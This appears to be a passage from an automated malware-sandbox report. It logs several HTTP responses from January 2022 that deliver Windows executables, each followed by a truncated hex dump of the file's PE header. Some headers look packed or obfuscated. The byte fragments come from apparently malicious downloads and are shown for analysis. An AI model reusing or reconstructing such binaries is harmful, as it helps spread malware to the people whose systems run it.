00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:02 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:11 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:13 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 11:30:16 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 11:02:40 GMTETag: "57200-5d588bdcf8dca"Accept-Ranges: bytesContent-Length: 356864Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5c 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 e4 15 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e4 15 04 00 00 90 01 00 00 16 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 11:30:18 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:58 GMTETag: "61d8c846-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 11:30:24 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Thu, 13 Jan 2022 16:32:58 GMTETag: "6e600-5d5793d3df2ef"Accept-Ranges: bytesContent-Length: 452096Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 15 67 78 67 74 09 2b 67 74 09 2b 67 74 09 2b b4 06 0a 2a 6d 74 09 2b b4 06 0c 2a eb 74 09 2b b4 06 0d 2a 73 74 09 2b 35 01 0c 2a 41 74 09 2b 35 01 0d 2a 76 74 09 2b 35 01 0a 2a 75 74 09 2b b4 06 08 2a 64 74 09 2b 67 74 08 2b 30 74 09 2b d2 01 0c 2a 66 74 09 2b d2 01 f6 2b 66 74 09 2b 67 74 9e 2b 66 74 09 2b d2 01 0b 2a 66 74 09 2b 52 69 63 68 67 74 09 2b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3a 54 e0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 d0 00 00 00 ec 0f 00 00 00 00 00 00 10 00 00 00 10 00 00 00 e0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 15 00 00 04 00 00 19 a2 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c ec 10 00 a4 00 00 00 00 20 0f 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 2d 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 10 00 00 00 76 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 60 00 00 00 e0 00 00 00 2a 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 e0 0d 00 00 40 01 00 00 0a 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 20 0f 00 00 a4 01 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 10 00 00 00 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 a0 04 00 00 e0 10 00 00 94 04 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 80 15 00 00 00 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 11:30:25 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 10:54:23 GMTETag: "246ec0-5d588a02be749"Accept-Ranges: bytesContent-Length: 2387648Content-Type: application/x-msdownloadData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 18 03 00 00 00 00 00 00 e0 42 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 6f 94 24 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 dc 01 00 00 00 c0 3f 00 14 17 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 17 03 00 00 c0 3f 00 14 17 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 42 00 17 79 01 00 00 